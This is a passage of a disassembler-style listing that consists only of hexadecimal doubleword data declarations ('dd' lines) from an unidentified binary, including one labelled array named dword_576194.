6C086682h dd 0CF3080FBh, 0B1E28D43h, 0B8268C05h, 0CC20978Eh, 0F3325A7Fh dd 608992CCh, 412B9902h, 0B10AC59Ah, 885E50E4h, 397A3C1h dd 80278301h, 52C2CC31h, 0EE588FC8h, 0B8D90076h, 538A3497h dd 8209957Bh, 180E2A75h, 0C0FC93C8h, 0E770BDA1h, 4405194Bh dd 628B8848h, 7B8E9447h, 93CA3240h, 528F016h, 842A808Dh dd 1F704F02h, 0E7980E80h, 0E53A22C9h, 478C9FD5h, 462E68B2h dd 0C6260414h, 0C0913601h, 59D86250h, 55F94D00h, 4E90E799h dd 84DEA0FFh, 2901E05Fh, 0AB948B91h, 0EE5306B0h, 1E538122h dd 33E226Ch, 0BEDA557Ch, 2AE0A6D9h, 9C3CCAC5h, 0E8F40789h dd 48814194h, 8E4083AEh, 0C440BBC1h, 88DD26F8h, 0D500FACCh dd 139B6B6Ch, 79DB64h, 813B5E5Dh, 667329EFh, 0DC1E6E03h dd 5048B445h, 4527E080h, 2DF8D3FAh, 9331E458h, 0CD5099F1h dd 0A7AAE0h, 67741924h, 21209518h, 689BFC7Eh, 5A83E780h dd 14B77A3Fh, 88998EB1h, 0ECE48088h, 4F0208CBh, 11FB434Bh dd 0D56E7FE0h, 18E4F648h, 0E0A10B83h, 36120938h, 0C0800351h dd 196EF031h, 23703248h, 78300074h, 0B08BF1E1h, 789980F8h dd 0D3B2ABE0h, 82E100AAh, 0EC98F835h, 0B7122263h, 0D822DC7Ch dd 0B29D8936h, 23BC0220h, 75202C19h, 80740684h, 367AC9EFh dd 14222828h, 0D6FA3106h, 90D8F3D4h, 4CEF108Ch, 3B2A0261h dd 4C83817Fh, 0DA311148h, 4EA900A2h, 77B07EA7h, 6CD00554h dd 0C0976FE1h, 4176194Ah, 0CD05F901h, 0DE0EE75Ah, 8335D9EBh dd 9329C826h, 30FE00BCh, 7A38FDC3h, 0B52A731Dh, 0A840140h dd 14D925A6h, 9460E81Fh, 516F8780h, 3D030844h, 1D555436h dd 30B6FA6Ch, 0E00369FAh, 78A37F79h, 6081BA5Eh, 8080BAE4h dd 0D099AF36h, 903D1D82h, 598520FAh, 0BA3BB79Ah, 4DEB8E8Ah dd 0A8020477h, 1168C0C2h, 0EC4110F5h, 0EE1200C1h, 0AE44894Bh dd 790CAAD4h, 601914DFh, 40814891h, 3DC060D2h, 7950B276h dd 8188C1D4h, 1450407h, 8C4C3B4Bh, 0EC936424h, 81017028h dd 90255BDBh, 18106ED6h, 7F2C5889h, 0D30A299Dh, 3E115863h dd 15E4990Eh, 0A33D2320h, 34C9AD8h, 5D5F001Ah, 13A4D654h dd 16AD2467h, 19326154h, 724832CEh, 68ED590Fh, 0F8E1C03Dh dd 3E5030Bh, 6F6453EAh, 0CB801DC7h, 0C4B3407Fh, 418EDA0Ch dd 0BD9A002Eh, 31BED490h, 0C015A87h, 409C4E3h, 3440D0A8h dd 329109Fh, 0CD1DE679h, 1E90B90Ah, 0B30207FEh, 0D91B166Ch dd 0A2EC840Dh, 6C163D49h, 0BC5B0D2Ch, 522539E0h, 0C5700C6h dd 3E17B6Fh, 8003FF8h, 0CA7A6CDFh, 4CB088CBh, 0D78228DCh dd 0A0A0F993h, 361666Bh, 8CCB4803h, 0E0C81D10h, 910FF105h dd 0ACEC20B0h, 1C9A4800h, 0E0AD6FB1h, 5413C51Ch, 3B095B02h dd 9038B2B1h, 895428F0h, 0F47261h, 9FD657F1h, 2488211h dd 0DC7A727Ch, 6103814Ah, 9529076Ah, 7004E6DBh, 0A9D2E594h dd 0B084C200h, 0A367EF8Dh, 0A1BE2E2Ah, 4FE960D4h, 29021BBFh dd 35EE1EE0h, 0CCE8C297h, 0FA1D0768h, 60C79294h, 0F39FF10h dd 11F18F0Ah, 6911545Dh, 884C800h, 14E37DA0h, 5C6EDD0Fh dd 0EF6B41A8h, 94261BB1h, 0AC9A4002h, 98E14D24h, 82DF1716h dd 936F0432h, 9131C18Ch, 9B48A462h, 90050800h, 1665422Dh dd 89C499EAh, 3CC0201Ah, 4CF11969h, 18C994DBh, 53A61C04h dd 42F10408h, 70000390h, 0AA4FB6h, 0E7242AEEh, 81B5535Ch dd 0E365CA0Bh, 0D73819C3h, 0D2C7C000h, 2A82CF18h, 624469h dd 868E3EAFh, 11378384h, 97D35A02h, 597441EAh, 0AADA8900h dd 0E2755020h, 72001349h, 469ED1D0h, 48A2352h, 0FFF37B0Fh dd 1170A62Bh, 7C490DDBh, 79F8E202h, 58C488B2h, 0B3553E0Eh dd 0DB7C4585h, 9BCC7001h, 2ECC16EDh, 45670307h, 0EF66D139h dd 2841DDE2h, 0F053104Eh, 0D4638236h, 61225BE2h, 38B4A06Bh dd 8E5EA3h, 4E416F37h, 34778B58h, 45E7BA01h, 0E928E4B9h dd 2D072863h, 0C0FC031Eh, 716127D2h, 0A60549C0h, 123ACEC6h dd 61FD451Fh, 51D47410h, 68602A7Ch, 78612C74h, 579DDC2h dd 71382729h, 0E86F032Bh, 3149195Eh, 2E8386D0h, 0EF160ED1h dd 0FFE0445Ah, 3435BE8h, 0F24F0E00h, 0D13EC074h, 25A125E3h dd 68000816h, 0C94AF1CDh, 246F6344h, 102CAEF6h, 0A9A48C25h dd 7B5EAEEh, 0A3D33456h, 0A1425EAAh, 0C446CB16h, 8BCE6E04h dd 74C01C3Bh, 0E0BEAE37h, 2034B859h, 734631B5h, 2883680Ch dd 0AE00E2C9h, 3AFF5D81h, 2EA3B7C8h, 5A3B9Ah, 0DDFB19A4h dd 8E041810h, 27F183B4h, 0EE53A0A4h, 81B1CB17h, 5066EC89h dd 0F4B2202h, 6CF8D875h, 7F400954h, 146020A9h, 0E991D0h dd 435F04h, 0E16B38CEh, 0D6776569h, 9809352Eh, 6021A19Dh dd 33E17366h, 4237AA00h, 7B8E8280h, 4420B976h, 0C97340EDh dd 3548AEBh, 0E8EECF41h, 0ECF0928Bh, 7D3A5FFCh, 581D294Fh dd 478C824h, 0D84F00E4h, 7AC8E7BFh, 79EC255Ah, 0AD1DD0B1h dd 0FF882AA2h, 90520F98h, 8627A80Fh, 6C8BF0F2h, 0F84DBFDEh dd 0FA4F8798h, 5A82DBF2h, 72DD3BA0h, 8A1B3880h, 0B5BDB4A4h dd 0F3F52403h, 0F009832Fh, 30BF2927h, 0C5A96C60h, 0B325FE8Eh dd 31201807h, 0C4E89681h, 0A08D4E73h, 161D5D9Ah, 0C42513C1h dd 0CE844F7Dh, 65001AC8h, 0D26B2368h, 0E78207D4h, 0B00C3FCAh dd 0CDA1BFB0h, 17665D07h, 0B9BC23F1h, 40EE4F53h, 8D288240h dd 844B2BACh, 87E42030h, 8040057h, 55DC0D4Ch, 0CF00F89Eh dd 141CA45Ah, 4AD72F06h, 1DD83019h, 88487618h, 835B83C4h dd 0C0DEB039h, 0D1A1009Eh, 0A772116Eh, 0B7FAB004h, 0D9DA972Eh dd 4151D700h, 3B2B1B87h, 4701E25Ah, 0F118CF95h, 51C86329h dd 77F8D95Ch, 719A11CCh, 34A66913h, 81349824h, 1B5EE100h dd 1A4CEAA3h, 0F9DE264Bh, 12A91B0h, 2E95E065h, 1DC49E3Ch dd 0F7380201h, 840B9FF8h, 2AC49482h, 0A57A6901h, 80916985h dd 6F40086Eh, 94D8E644h, 1DD8A4DBh, 0C04A08AEh, 0B75C3652h dd 5000D5F1h, 7955AABFh, 71C34529h, 9C700410h, 8C60F4ABh dd 14938398h, 873A6691h, 0F7291809h, 3A744482h, 0CB1F0640h dd 21E7D25h, 99988E50h, 0B837A394h, 2AC1E521h, 872821Fh dd 4CF16707h, 0CB62F39Fh, 932842E0h, 22D04D00h, 44812653h dd 0E1E60356h, 51BDE92h, 94C8A4FCh, 0C5A0A21Ch, 0AA0B5C44h dd 61274CA3h, 5E1388A1h, 0B82ADCF8h, 0F0FC1C04h, 40A67CA9h dd 900BA222h, 81F91C2Fh, 0B4D2087Ch, 62D0B470h, 9E8021A4h dd 7A585860h, 0B6CDA905h, 8881D107h, 78815B81h, 41AE05FAh dd 0D8E04861h, 0A3378700h, 5AB8E517h, 0F305090Ch, 0A46E1BC8h dd 0D0B9750Bh, 549A82CCh dd 3064E4FAh, 6F81A3D9h, 22023FC3h, 0FCB9C6D8h, 0CBB4E053h dd 9AD21459h, 83D54DBh, 3279C400h, 97F2F634h, 814F6A00h dd 0F3FBEC41h, 90E92436h, 98040CCh, 9B00A050h, 651723A5h dd 0B53F28h, 2C252194h, 0BFE904C5h, 5C40802Ch, 134FC43Dh dd 703A4B9Fh, 99A269C0h, 9118F49Ah, 93315DD6h, 4A39C028h dd 0AFE610B2h, 7F22EB01h, 0DC0FCFAAh, 0CC5D5CE9h, 0C33C4862h dd 0E3BE2580h, 16941D95h, 31DB1E02h, 0C9B129D7h, 20106690h dd 0E83A301Ch, 552C009Dh, 0C7A8C6FDh, 0AA160471h, 93B1EF81h dd 248A284Ch, 933090E4h, 0A090A1F3h, 6ADF0023h, 8447CCBDh dd 1024AC0h, 0EA300B9Bh, 78106136h, 2A30E614h, 830B74CBh dd 49988C2h, 188119F1h, 50F86645h, 0F1541B04h, 88FD29ECh dd 9C00258Ch, 97728B38h, 1B2ED53h, 2698D2DBh, 0CCD81141h dd 2949CB05h, 848893E0h, 30560052h, 0F7E4CC26h, 61025AC6h dd 66F825Dh, 0A7945142h, 6AFB7490h, 2007891Eh, 0C8A33000h dd 0F778896h, 355AEA10h, 0CB217E80h, 0ACB1E62Ah, 18FA2805h dd 7B1B9C20h, 4A924ADCh, 7214F108h, 5A839438h, 0CE048D1Ch dd 8E084C3Bh, 1B80BDC1h, 2571A43h, 0B08F00BFh, 5E150C70h dd 110BFCA2h, 106140B6h, 8ADCD4h, 2725CD1h, 7F74A1A5h dd 7D92E407h, 0F632AB13h, 440C6C20h, 85003669h, 0D78F2D2Eh dd 1B7107Fh, 0A3ED829Ch, 4CECD9A8h, 0C40115E4h, 181CF9EAh dd 6470AAE2h, 495BB877h, 2983585Dh, 0A8E1FA3Bh, 6C42462h dd 0AD577119h, 175DB0h, 4A2D6D2Bh, 0A8E4D500h, 0EAE0B215h dd 39449842h, 0ED17F8B1h, 0E09495h, 0C727761Ch, 8660FD15h dd 239B9E90h, 8B0C001Bh, 0F7410EE1h, 18038AA0h, 0E091DB64h dd 10E4BC8Eh, 27C507DFh, 3F11D563h, 69247440h, 1805B3EAh dd 0F3F93F83h, 0BC9584C5h, 15F8F404h, 54B18249h, 0A06719h dd 0E96B4E11h, 4827F0D6h, 22DEA853h, 8728DD02h, 424BAD13h dd 16184504h, 731C22A8h, 74A2B0CCh, 0B8644CC0h, 0D8678500h dd 7602DB93h, 20E49040h, 909473F5h, 0B282640h, 1F541EB1h dd 0A753806Bh, 6A3E6012h, 57FB1909h, 0B08C4C4Ch, 0CD5B01D8h dd 60FCE4D0h, 0C8F1FCD6h, 0A0F0181Ch, 5AD38DC0h, 0F82CBDh dd 9C124A41h, 5A483F5h, 0E148D400h, 6696C4EFh, 0E2CF0390h dd 10CCC1C5h, 0F3AD3900h, 0BADED8F8h, 0FE710Ah, 8294D076h dd 0E4830796h, 5ABEE700h, 44CF8DCDh, 3CAD07F2h, 11610931h dd 0E5DEB6C9h, 0F10301Fh, 0DCF09Fh, 805B9273h, 6DC33958h dd 0ADFB7203h, 63164DCh, 5A3D348h, 955C808Eh, 735D02B4h dd 808C75ABh, 2578CEA5h, 0E6620185h, 0C7283326h, 5C1D8CCh dd 0FC39046Dh, 33CD0883h, 66A003FBh, 0F41E9AC2h, 39079709h dd 0BDA05EC7h, 98017FB2h, 9EFA0122h, 1A70B916h, 0FBEAC025h dd 0B303543Dh, 80A8B864h, 0C2E909FCh, 0CF01C0F1h, 88F094A3h dd 0F6237100h, 91407C95h, 13440B37h, 7083F939h, 7781E9ECh dd 985BEC8Bh, 0CD53ED03h, 12594FF3h, 0CCF660h, 157CAD17h dd 69DCC0EEh, 0FC7FE800h, 0E35302h, 0DADBFA04h, 0E2315B77h dd 0CBD0501Fh, 4C52D4h, 93BFF73h, 2695FE1Ah, 36AC303h dd 16CCC085h, 728B17Dh, 0F95618E5h, 59261F74h, 0DD39280h dd 7C833F7h, 1364FE65h, 235A80D0h, 7600D22Bh, 5FFA6D15h dd 36652C7h, 0E9F1A174h, 691F12A3h, 7C40ADB0h, 0D605E17Bh dd 9CBF01E4h, 65DD585Bh, 0FAF85184h, 0C54F2074h, 0A48B8F98h dd 0CC8472E2h, 5CDC43A1h, 14314C59h, 0E0705844h, 2D6303AFh dd 10DDF646h, 48E5AEE9h, 8A03A388h, 0C2235E21h, 5888E480h dd 0D73E3D98h, 0F613573Ch, 0F700EB8Fh, 0AC02566Ah, 2872006Bh dd 752C7652h, 0EA520DFDh, 0E060098h, 0FBE437F7h, 5B722934h dd 5FB58188h, 20794305h, 8D0EE590h, 7E8F8A03h, 85009A2Ch dd 726AC5EFh, 6C30C1BFh, 22FFCDC0h, 0A0D38B8h, 84A6F795h dd 16734880h, 1F6D4581h, 81A1E5FFh, 0C2E2628Ch, 0A900FBD4h dd 0BE0A61BCh, 52B16AFh, 0DD7CB8A4h, 61B9C5E9h, 0F204FED8h dd 0AE007327h, 0E06E216h, 0FBD2C76Dh, 210B1833h, 0B8A84E0Ah dd 8C00428Ah, 1CFD9712h, 0A046BC0h, 0C207BA87h, 4717E4FCh dd 9731AB7Fh, 50205647h, 5D663CAFh, 0FB76AC0Eh, 0F8E56A02h dd 0C3EEEC83h, 5343711Ch, 89B75F80h, 0B1AA61h, 1D8B88B9h dd 6E641697h, 9C69BA29h, 48F6C0B2h, 7FB8CDF8h, 0B6B400DCh dd 63B5AF9Ah, 0C713565Ch, 5B001908h, 5889CB45h, 71C260E7h dd 1103D3DEh, 0A059F200h, 0E5EE36FFh, 1D60F86Ah, 0D27B785Ch dd 0D7C430AEh, 7400DF7Eh, 198F8258h, 0EC3DA7A8h, 9B765CE2h dd 0EE180457h, 7BC239E8h, 0FF04A876h, 3E2A4AD9h, 35AD108Ch dd 0C29EBEEh, 0F8EA2D42h, 3036BD07h, 9CB00E19h, 26E6CBF9h dd 47CCA170h, 5E756088h, 7975E471h, 2A005748h, 9D00D881h dd 6BEC7413h, 0F2B440h, 6A76C028h, 0FDBEF305h, 68E18201h dd 0A1694DE7h, 0C1EECD00h, 6ADD89C1h, 0D8E30F8Bh, 1EF375Fh dd 763616A2h, 2165D27Ah, 0FB288208h, 68DDCE23h, 88D70428h dd 0FC63DAC0h, 87F0A9h, 0A03A7361h, 0DC98A8B0h, 7D3EB200h dd 568DE160h, 0F2050329h, 0D3934DE9h, 3BC9143h, 0F9D9A9DFh dd 983D9022h, 0C7781CE9h, 41021C36h, 0A6056BB6h, 8CA844DBh dd 0A30038FCh, 0FCB6AF1h, 1C3DD75h, 64087845h, 0D5EF2744h dd 60202639h, 1602DFEAh, 3DE3E675h, 69847282h, 829F4847h dd 0E620DC54h, 0E8293ABh, 0AE4BD33Ah, 60907A00h, 58045AFBh dd 0F69E2276h, 7DE088h, 7266102Ah, 69D1B7E3h, 0FD2DFB00h dd 0E3A7B83h, 0E300986Fh, 4ECC4714h, 0C38470h, 0F76E536Dh dd 618703F9h, 5172A230h, 5BB32010h, 0EAD9C00Ch, 0F5077341h dd 67ADEF01h, 44300E8Bh, 961F3162h, 0E5AC20A8h, 9A7E6AF9h dd 76379000h, 0E763FBA2h, 0B2AA163Ch, 0D7100091h, 716CD84Fh dd 6F280612h, 0D9F62005h, 15E7B470h, 0B03700DAh, 35813F19h dd 2133CDFh, 44040764h, 0E4C15E62h, 6C60B4D2h, 208A03BEh dd 0A22C63ADh, 0A043CC80h, 6490BC90h, 8CA128A4h, 0D2A117EAh dd 0CF099CFh, 4C5C7779h, 0E0008A2Dh, 8B76D17Ch, 960ECD60h dd 98674DD3h, 0F88AB999h, 11FCADh, 0E801D27Eh, 400E0CFDh dd 7376C4A0h, 0D6681A06h, 1D901B4Ch, 1BC1C2Dh, 4E4C652h dd 0CBC2172h, 83540AA0h, 7802ECD4h, 3524E0D1h, 0C28C8263h dd 16AD03D8h, 0FCA59A81h, 90488BA4h, 5C768030h, 0BADCD695h dd 2E09099Ch, 9C801AE8h, 1DF80CFAh, 0F5EE0800h, 32D0DCF2h dd 1F75E072h, 306DF116h, 17116F98h, 3A017304h, 34D2D8E7h dd 5B8129DFh, 0D8494216h, 83002E34h, 59A0BA0Eh, 504E8201h dd 58DCC09Eh, 5383A46Bh, 0A116AAEFh, 0A7F8388Fh, 57089200h dd 0EB497007h, 0FFE18301h, 75FCDD99h, 5C12A831h, 74864A3h dd 0BEA0EB61h, 562831DBh, 0FFB4F005h, 52B11206h, 3029CB9Ch dd 1C71DCF0h, 0D90003E7h, 0DFDE3E5Fh, 70106Bh, 0D766BAFDh dd 0D6C096E5h, 30774A26h, 80D21188h, 0E395F4FAh, 2CA0C553h dd 0E401B26Ah, 8FB1B305h, 0AD0EB01h, 5CE9C082h, 1D3B8AD1h dd 0B069FF01h, 0E6EE0F39h, 0E1465187h, 8F143034h, 0F3140EBFh dd 202CE984h, 13EB44E5h, 0FB01FAE8h, 6973B9AEh, 0F432E70Dh dd 4A9F3001h, 0CD5C6F68h, 3E4C30EDh, 25FEA040h, 1C12EB5Bh dd 83AD3004h, 0A97C1460h, 2898BB57h, 5E44D8ADh, 5230C0FAh dd 7C0242BAh, 0BB4DFC00h dd 61E9F320h, 0A2618E4h, 941E20AEh, 6846E600h, 6FE00CBBh dd 25FA0071h, 0FBE7B931h, 0C872599Bh, 0B3B1A900h, 0A06F0BF6h dd 0FEAEECB4h, 0D4F552FAh, 8FC31Fh, 24287AF9h, 6300D7A6h dd 61CE0B41h, 35785Bh, 21096C52h, 6BEEF0E6h, 0C1918200h dd 0D5D21AB1h, 0D9AA0356h, 0DEAEC4F5h, 0F60146E0h, 1A0908ECh dd 6CE54Ch, 55CBD874h, 73B300BCh, 0C34DF970h, 42002136h dd 9AA25269h, 3E726Fh, 3AC701EAh, 0F955C368h, 20AFAD30h dd 5D0F6727h, 1380FC1Fh, 4D2990DBh, 168C1003h, 0C0FD6324h dd 581DFB80h, 6600D86Dh, 95C52D5h, 0FE3ACCC7h, 3CAF830Ah dd 9E4D168h, 38AB5249h, 0FE85550Fh, 12F82509h, 0E4DC2050h dd 0FF268976h, 9D049454h, 1291BAh, 0C7585C2Ch, 8A16D01Ah dd 70286794h, 0A0BB006Eh, 5DD1A8C6h, 62006FF1h, 0F42C052Ah dd 240B0490h, 8F00AD3Dh, 7F0CCE38h, 4800A579h, 0C057124Ch dd 1DA1C883h, 18727DDFh, 0E0F99FBh, 0CF00EA72h, 84FC9177h dd 6E3C6529h, 995F90A7h, 146015h, 0A1D7954Dh, 1D10D450h dd 1B006A26h, 8AE55109h, 7E28EC3h, 0CC2884CEh, 63E8A046h dd 0D3328B73h, 400348BDh, 0F2EF94h, 0D9C7A28Fh, 91739A2Ah dd 0C6100E03h, 7485F068h, 0E97A0169h, 874BBE51h, 0F915F9C8h dd 24C32F0h, 0E21448E6h, 0A06B6045h, 80310011h, 6E08F8B3h dd 820037BEh, 6BBA9447h, 927C6DB5h, 0D90D22B8h, 0D7E97313h dd 84529430h, 89ED0058h, 0C23AC017h, 1A01FF99h, 9170F966h dd 0B0508C0Ah, 0DA594Ah, 0C60E3872h, 81866EC1h, 6713CBE4h dd 0F01EB94Eh, 68DC2462h, 9418CBD4h, 19C0380Ah, 0A81E30E2h dd 39350089h, 4E561425h, 0B7017910h, 5D86F7DAh, 0FC356D65h dd 7A7A6CC0h, 418BE7DCh, 2818964Dh, 0F50C0199h, 2185290Fh dd 9ADC12D9h, 0EC81D68h, 0DD838C6Ah, 21124D5Fh, 0C4011A3h dd 3FAD37FAh, 38DF0AD8h, 79471C2h, 1076201Ah, 725548E0h dd 9120545Dh, 0F4130064h, 0E2D6C897h, 0C3250047h, 5F82BE3Fh dd 0A10024E1h, 0E8FEFF8Ah, 58026A03h, 0C86454C9h, 0B48F2384h dd 60400C5Fh, 9500F519h, 0E20197C5h, 0FCFD07h, 4F5C6DABh dd 0F99B8068h, 0DD44F090h, 0AB7200D9h, 6F8E2E1Bh, 980A100Ah dd 2866DC6Ah, 1674F000h, 295400Dh, 917D06Fh, 0B060649Fh dd 6A5052DCh, 0DD446948h, 0D630A0EEh, 593E1DCAh, 4CAB43B2h dd 81DD7644h, 42CEF24Dh, 0D2089ECh, 638C1Dh, 1732A53Ch dd 0CAAFD2DCh, 0B60E2607h, 0C17293D1h, 8C184367h, 74C9152h dd 0EB080A5h, 0FBE43CB7h, 0D8A40Bh, 35CEC2B8h, 0FE65707Ah dd 5300FCE4h, 2F14180Ch, 6D0CC8Ah, 93CA790h, 7507426Bh dd 0F5619DE1h, 18B0A83h, 0D4FFC749h, 0CCD75DFCh, 42005648h dd 6CE38F96h, 3058A3DFh, 0E008C4B7h, 80A8D5E7h, 0D0170AD3h dd 3E0246B4h, 6065EC0Bh, 6F80D9h, 0E8A9D88Eh, 345C94BFh dd 27110900h, 6C6EE185h, 6A40C744h, 0B4EFC414h, 3500962Ch dd 72265CCh, 77E669h, 488FFCCAh, 137DA10Ch, 0A1E8A0Eh dd 969689CEh, 9CFD0744h, 0EE14E422h, 30EADA80h, 0E001786Fh dd 9383F93Eh, 6831F251h, 64CC08h, 0C8C3D7C5h, 7B79976Eh dd 5DE87A07h, 47411968h, 0D030AEAFh, 8AC83E76h, 9276A93Ah dd 0C46C5914h, 31286492h, 301936FCh, 790E8FD2h, 0A04B499Ch dd 402B6C50h, 0D88C01F1h, 6411BC4Dh, 24C0CA9Ah, 0C0014962h dd 53ECB087h, 118A60C3h, 0C14C468h, 0F461860Ah, 65610600h dd 6A670789h, 0B1D6E679h, 0A164004Ch, 36DF0415h, 0D70EC11Dh dd 0E094AD0Eh, 73BEAE81h, 414D00F3h, 11EA8BC7h, 0C400F69Dh dd 6959C3CBh, 0B86EA247h, 965D7D64h, 838ACA0h, 5783605Ch dd 1D1FEC7h, 0D68FB71h, 698F95B3h, 0E801797Ch, 0AAA64D3Bh dd 0D0E1A9D2h, 575D0840h, 8C6D58C2h, 0E7EE2B0Ch, 71021949h dd 8A316AEBh, 97802F7Bh, 76553072h, 0F7FEF600h, 0F49B986Fh dd 0D18500D7h, 0A4D8C44Dh, 0CA0F036Ch, 62B9AD5Ch, 400F9617h dd 0E646559Ch, 0B1927188h, 0C8B60038h, 0FAEB289Fh, 89F622h dd 0AF210C06h, 84900F72h, 37346100h, 3B0EF773h, 0CE80A2AEh dd 0A61200B8h, 0B5106D11h, 8700BB36h, 70D69DF9h, 314268Bh dd 5F2ED986h, 0C294F8D0h, 1C432840h, 0A4E6FBC2h, 97D66207h dd 0F1B18560h, 3930A2C3h, 2E3E0927h, 0E8A0739Ch, 0F29B943Dh dd 2584E550h, 0C88F3Fh, 9A95D810h, 4C1F5753h, 3C87F80Ah dd 7ED6D026h, 0C7174ACEh, 5C0467F0h, 0ECE2684Dh, 3B201D8Fh dd 0EFCA4F8Eh, 6114E100h, 0B3900106h, 0FF101DBDh, 0C7DA8587h dd 0E8F02091h, 0E4A86BE0h, 0F10A7252h, 0C08C5817h, 83905002h dd 1938E176h, 670F0D10h, 0D500DDE8h, 0F21D821Ch, 560B677h dd 0BF9190DAh, 0A6ACCCF5h, 0AF3FD50Fh, 53CF01EFh, 11848B9Eh dd 0B25FDCC6h, 0F0700954h, 7494AA71h, 97B8102Dh, 6C207F5h dd 0C3FD17B6h, 93E1E262h, 3CC2EEDFh, 3DB5EC82h, 522C452h dd 10EF05D2h, 90E74A84h, 0CE266750h, 0CA14B4B9h, 213C05ECh dd 64D0F995h, 26EF904Bh, 420C9953h, 688ED668h, 0BC0784CBh dd 0B1A4C0FBh, 7CBAD771h, 0EC921A1Fh, 3000F812h, 6DD8C138h dd 0ADF61472h, 0E960BC16h, 10B1A303h, 5B01F0A4h, 0E7736DCBh dd 0F9D093A9h, 0A7609C0h, 300BCC79h, 3800F064h, 2D06BDC7h dd 0BC859Eh, 3F24F01h, 9A23FD6Eh, 948C1924h, 2716BF05h dd 91573000h, 2848C742h, 89C0F090h, 8C0CCF6Ch, 0BCA17380h dd 998B8220h, 0F3E02166h, 0AD01F976h, 5977536Dh, 9840A1C0h dd 3E49C78Ah, 9721F190h, 34CAD090h, 64202Ch, 0C27EF781h dd 20B9DB56h, 0AA4FCD00h, 0C8280678h, 9CB047Dh, 858FFE24h dd 0BB1884F4h, 21309611h, 291490C4h, 0E100B00Ah, 7D699FCCh dd 73DB0E9Bh, 2060A8E3h, 1D787403h, 612E3202h, 70A9FA28h dd 5A39C2E8h, 38489FF0h, 9D009837h, 0C2BAB717h, 16264A2h dd 795FB486h, 887596E3h, 0C0B6F140h, 652D76E1h, 8F48517Ah dd 73810008h, 0FB6A21D7h, 8164B9Eh, 0AD80D128h, 613AA4CCh dd 3A95F860h, 4A7A6F46h, 64001406h, 0A5CD522h, 21AF8018h dd 155C54h, 8A58DF3Eh, 44A7EDD9h, 73227C0Bh, 104E0BFh dd 0BCF08A17h, 1CFB6044h, 70E1CBh, 2316F4FCh, 949EED8Fh dd 663F1D01h, 0A1CC8CC8h, 0E9F20D03h, 0E44914A3h, 50659E0h dd 0A60E11F9h, 0FBF61E21h, 6057580Fh, 694F8AFAh, 299ED05Dh dd 22B4F555h, 0B3E40AE8h, 50A170h, 0D24DFEDDh, 5F021B37h dd 0FD1F0805h, 3B906082h, 0AC9A1643h, 0A290C4B4h, 0F746398Ch dd 0A6AEDD00h, 8580B0CAh, 953E16ACh, 0E080C0EBh, 0D11C0E5Bh dd 5246E96Ah, 1C998EEFh, 0FDAFD039h, 0D768F800h, 4832816h dd 61B4EF00h, 0F01194E6h, 8B1B00B8h, 0AF63DCD9h, 16FEA7BFh dd 783CDE00h, 9BEB51C1h, 0DFA20052h, 68839449h, 0AD02EABBh dd 55CA3128h, 918CC0AEh, 5DC01E75h, 40C026C8h, 0EADBC77Ah dd 3158B100h, 0D98DD36Fh, 0DA5502F0h, 6ADD0420h, 0A32A5C52h dd 0F8009418h, 0CCF4EFF1h, 1E367759h, 982139h, 5B7E3E72h dd 0E1308A5h, 0DCC2FB16h, 64B020FDh, 0EF003A8Eh, 297133FCh dd 4C60BEB5h, 88403020h, 0A0A21282h, 16D890F6h, 4D05710Ch dd 200E039Fh, 0E240E827h, 0B808CE01h, 2CA09648h, 562F5098h dd 831D1800h, 0CEBB40B8h, 905D01F8h, 2CD69F07h, 67482082h dd 2918544h, 5E5F35E9h, 585408FEh, 2B7DAD60h, 0F7DA375Dh dd 74D2C081h, 414BDCC2h dword_576194 dd 1E2E7828h, 16D0D557h, 0CC7A016Eh, 44FF684Ah, 6D08A0B4h dd 4404C024h, 0F1087340h, 834D318Ah, 236BDC61h, 0FC0B4E94h dd 7F464FAh, 2D2DF5Fh, 5D564015h, 6C00F480h, 0DEBC704Fh dd 0B89A820Dh, 0A26F0584h, 0A216FC99h, 0FE410268h, 0A45BAB1Ah dd 0A9408498h, 4BB49B80h, 59C83809h, 0CC758349h, 0A2989042h dd 920A002Ch, 0D9B9F871h, 80A05DABh, 0FA888264h, 0AECE004Dh dd 529E20AAh, 8A009D99h, 2AC834B3h, 3AE48D68h, 9A0269DFh dd 0CECFC06Eh, 33F6C02Fh, 0E69DFC72h, 0A7941611h, 0C19421D2h dd 904D00CFh, 80B8B68Fh, 46079B99h, 0D8B82B3Fh, 0FCF5307h dd 152012A8h, 1019B4h, 0F9DBF5BDh, 0C3A27ECCh, 1B0C748h dd 540FC106h, 7864E701h, 2C630062h, 0DC6F25A9h, 1A4CFC9Ah dd 0C2FA8078h, 0D4BE7E6Ah, 0DC854090h, 4E18C83Eh, 8B66DA00h dd 0AD76E8E4h, 0D64D07F1h, 801C2EA4h, 73DCA152h, 0E4D5A928h dd 0DDDBE91Dh, 0B763FF00h, 0F61D0Eh, 22F0EF4Dh, 71F8A20Fh dd 8BC76700h, 52984F43h, 7C9502C6h, 0E83DF0B2h, 97289CC0h dd 0CDE0A207h, 0AF049AE6h, 6E0178A2h, 0E53E6FEAh, 0C079A2h dd 749A555Fh, 1E4EA520h, 40793C9Bh, 0D273CC57h, 7B1698B7h dd 0F800582Eh, 18E89B11h, 0FBF9139Fh, 0C8509508h, 69048E04h dd 0C81DD821h, 0FB322CD0h, 0A305002Dh, 25F99D90h, 0BD009749h dd 795256B5h, 0E38901B9h, 2C7AC840h, 4C6848B3h, 70AC840h dd 0D75D7833h, 4FF8F0DBh, 0BE01AF18h, 99224783h, 0D6F81080h dd 0E88758FDh, 8140F500h, 0C1716A79h, 0A9524E00h, 22BF12F8h dd 9BC80495h, 0B7DE7C8Bh, 0E64B00E8h, 0E2C24E45h, 0ADCF0062h dd 0F0CCD7C3h, 0B3035468h, 37762AD5h, 0F575801Eh, 8036144h dd 0CCC8AC0Eh, 159A136h, 0FE2244h, 9ABC24FAh, 1F61D25Eh dd 0D9435D00h, 76EE30F2h, 5894488Bh, 28958A80h, 0B01869B6h dd 59D0C261h, 0D1D0006Ah, 5290F098h, 0B4260B9Fh, 6C005233h dd 4BE6EEEFh, 0DE6D02E1h, 6907C1BCh, 0F040DC56h, 0EECF4D29h dd 0DA0801E7h, 0E28CD972h, 0DD56300Fh, 0B01F6624h, 0E9695380h dd 24EB03E4h, 4F5C3BB1h, 0C2951505h, 6E271488h, 0CDCA1650h dd 0E960D6Fh, 0DBC19A1Fh, 0BBE0EFE3h, 0F3E4518Fh, 49340B16h dd 0D1D6F00Fh, 6109FE13h, 2E07FB9Ch, 6A8B0021h, 80129BCh dd 61F5F8F0h, 0B574309Eh, 0B0790B30h, 0E5908AD0h, 5CDC298Bh dd 8F94844h, 2F8812B9h, 6A64885Dh, 596C33Eh, 0A2928B71h dd 